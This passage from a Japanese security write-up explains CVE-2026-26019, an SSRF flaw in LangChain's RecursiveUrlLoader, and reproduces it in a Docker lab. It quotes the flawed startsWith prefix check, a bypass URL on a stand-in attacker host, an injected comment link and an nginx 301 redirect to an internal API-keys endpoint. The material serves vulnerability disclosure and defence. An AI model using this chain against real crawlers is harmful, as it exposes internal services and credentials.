&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"//"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;standardizedLink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;standardizedLink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;excludeDirs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;exDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;standardizedLink&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;exDir&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;isAllowed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preventOutside&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* The critical check line */&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isAllowed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;absolutePaths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"//"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nx"&gt;bsolutePaths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;base&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;newLink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nx"&gt;absolutePaths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newLink&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;重要な行は&lt;strong&gt;link.startsWith(baseUrl)&lt;/strong&gt;のチェックです。&lt;strong&gt;startsWith()&lt;/strong&gt;は生の文字列比較を行うため、次のバイパスが簡単に成立してしまいます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// baseUrl = "http://docs.securecorp.com" &lt;/span&gt;
&lt;span class="c1"&gt;// Attacker link that passes the startsWith&lt;/span&gt;
&lt;span class="nx"&gt;check&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://docs.securecorp.com.attacker-server.local/"&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"http://docs.securecorp.com"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// =&amp;gt; true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cve-2026-26019の概念実証:内部アセットへのssrf"&gt;CVE-2026-26019の概念実証：内部アセットへのSSRF&lt;/h2&gt;
&lt;p&gt;CVE-2026-26019の悪用には、URL検証の欠陥を利用して内部ネットワークのリソースへのアクセスを実現する、意図的な3段階のプロセスが関係します。以下の手順では、攻撃者が単純なリンク注入から完全なSSRFの悪用へとどのように進むかを概説します。&lt;/p&gt;
&lt;h3 id="ステップ1:悪意のあるリンクの注入"&gt;ステップ1：悪意のあるリンクの注入&lt;/h3&gt;
&lt;p&gt;プロセスは、正規のドキュメントサイトが脆弱なアプリケーションによってクロールされるところから始まります。攻撃者は、対象ページのユーザー制御コンテンツ（たとえばコメント欄）にリンクを注入します。注入されるURLは、攻撃者のドメインの前に正規のベースURLを付けることで、プレフィックス検証を通過するように細工されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;SecureCorp Documentation&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;SecureCorp API Documentation&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Welcome to our documentation portal.&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;REST API Reference&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/api/v1.html"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;API v1&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/api/v2.html"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;API v2&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;hr&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Community Comments&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"comment"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;attacker_user&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;b&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;: Hey, I found a typo in the API docs! 
    Check out the corrected version here:
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://docs.securecorp.com.attacker-server.local/typo-fix"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      Check this out!!
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ2:攻撃者のリダイレクトの設定"&gt;ステップ2：攻撃者のリダイレクトの設定&lt;/h3&gt;
&lt;p&gt;攻撃者は、クローラーのリクエストを受け取り、内部サービスへの301リダイレクトを発行するように自身のサーバーを設定します。これが、SSRFバイパスを内部インフラへのアクセスへと変える鍵となるステップです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;docs.securecorp.com.attacker-server.local&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Step&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;1:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Crawler&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;here&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;poisoned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;link&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/typo-fix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;301&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Redirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;service&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;301&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;internal-secret&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Serve&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;any&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;other&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;normally&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;seem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;legit&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/usr/share/nginx/html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;index.html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ3:テスト環境のセットアップ"&gt;ステップ3：テスト環境のセットアップ&lt;/h3&gt;
&lt;p&gt;この欠陥を再現するために、脆弱なバージョン（@langchain/community v1.1.13）を実行する制御されたDocker環境を使用します。この環境は4つのサービスで構成されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;legitimate-docs &amp;mdash; クロールされるドキュメントサイトで、注入されたリンクを含みます。&lt;/li&gt;
&lt;li&gt;attacker &amp;mdash; リダイレクトを発行する、攻撃者が制御するnginxサーバーです。&lt;/li&gt;
&lt;li&gt;internal-secret &amp;mdash; 脆弱なWebアプリケーションを通じてのみアクセスできる内部サービスです。実際には、これは（内部ネットワークを信頼しているために）SQLインジェクション対策が緩いデータベースサーバー、AWS IMDSのようなクラウドメタデータエンドポイント、あるいは外部アクセスからはフィルタリングされているもののアプリケーションのネットワーク内からは完全に到達可能な内部サービスポートを表すこともあります。&lt;/li&gt;
&lt;li&gt;vulnerable &amp;mdash; RecursiveUrlLoaderを使うNode.js製のWebアプリケーションです。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;tree&lt;span class="w"&gt; &lt;/span&gt;.
.
&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;attacker&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# attacker controlled server&lt;/span&gt;
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;index.html
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;nginx.conf
&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;docker-compose.yml
&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;internal&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# internal server accessible only through the vulnrable application&lt;/span&gt;
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;Dockerfile
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;server.py
&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;legitimate-docs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# the doc site to crawl by the vulnerable web app &lt;/span&gt;
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;api
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;v1.html
&amp;boxv;&lt;span class="w"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;index.html
&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;vulnerable&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#  the vulnerable web app server&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;app.mjs
&lt;span class="w"&gt;    &lt;/span&gt;&amp;boxvr;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;Dockerfile
&lt;span class="w"&gt;    &lt;/span&gt;&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;package.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;シンプルなExpressのエンドポイントが、&lt;strong&gt;preventOutside&lt;/strong&gt;: trueでクロールをトリガーします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/crawl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
